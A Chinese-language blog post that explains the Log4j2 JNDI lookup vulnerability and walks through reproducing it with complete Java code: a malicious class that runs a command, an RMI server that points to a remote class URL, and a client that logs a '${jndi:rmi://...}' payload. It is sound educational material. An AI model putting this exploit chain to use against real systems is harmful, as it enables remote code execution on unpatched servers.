天天看點

Log4j2被爆高危漏洞,漏洞如何複現,原理是什麼呢?

作者:玄明Hanko

​​​​​​相信大家看到最多的就是這張圖檔了,打了碼,還出來個電腦

Log4j2被爆高危漏洞,漏洞如何複現,原理是什麼呢?
String source = "${jndi:rmi://黑客IP:1099/test}";
logger.error(source);           

上面這段代碼并不會像預想的列印出字元串,"${jndi:rmi://黑客ip:端口/test}"出來,如果這個日志是在自己的機器裡列印的,就會在自己的機器裡啟動電腦工具。

這現象的原理是什麼呢?

最關鍵就是這兩條:

1、log4j2列印日志時,部分字元串會當成指令名服務被執行。

2、log4j2可以通過jndi:rmi下載下傳遠端代碼,并在自己機器執行

以下是詳細說明:

​編輯

Apache Log4j 2
Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.


Important: Security Vulnerability CVE-2021-45046
The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.

Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.

Details
It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, ${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.

Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.           

以上是apache官網的一段說明,我們之前使用的log列印一般是log4j,然後就是logback當然springboot預設的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,是以後面不少人更新成log4j2當然好像這幾個的作者都是同一個大神。

回到我們的問題為什麼會出現這種問題,還是官網上說的log4j2提供了一些可以讓使用者查詢一些配置資訊

Log4j2被爆高危漏洞,漏洞如何複現,原理是什麼呢?

​編輯​上圖可以看出log4j2通過 logger.info("${java:hw}")可以列印出伺服器cpu資訊出來而不是字元串“${java:hw}”,大家可以看到這個就類似sql注入也,另外一個關鍵的就是log4j2此功能是通過java lookup實作的,也就是說黑客可以這樣操作:

Log4j2被爆高危漏洞,漏洞如何複現,原理是什麼呢?

從上圖可以看出,最關鍵的地方就在紅色部署,使用者機器會下載下傳黑客的可執行檔案并在使用者機器上執行就是這病毒了,最上面示範的demo就是黑客讓使用者執行了自己機器上打開了電腦工具。

如果大家想自己實驗一下可以參考以下的代碼,這個是引用了網上一篇部落格:

原文連結:https://blog.csdn.net/lizz861109/article/details/121928916

當然這篇部落格沒有實作 rmi://127.0.0.1:1099/xxxx 這個rmi服務代碼可參考:

​p.s. 網上很多程式都不完整或打了碼

​
//step1:在黑客機建立HackerObj.java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("黑客程式在此機器被執行了。");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//step2:在黑客機把HackerObj.java編譯成HackerObj.class,然後開個nginx把HackerObj.class放進去讓它可以在網絡上通路,如: http://黑客ip:8080/HackerObj.class

p.s. HackerObj.java創造時不要放在package裡,放package裡好像被使用者下載下傳會提示notfindclass,有空再研究一下。

//step3: 建立個Server.java啟動黑客rmi服務

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://黑客ip:8080/HackerObj.class
        String url = "http://黑客ip:8080/"; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4:在使用者機建立Client.java,

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://黑客ip:1099/test}");
    }
}


// 在使用者機執行Client.java會發現“黑客程式在此機器被執行了。”
//在使用者機器列印出來了,同時使用者機器電腦工具也被打開了


//step5: log4j2  複現就是用以下代碼
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://黑客ip:1099/test}");



​           

總結

最關鍵就是這兩條:

1、log4j2列印日志時,部分字元串會當成指令名服務被執行。

2、log4j2可以通過jndi:rmi下載下傳遠端代碼,并在自己機器執行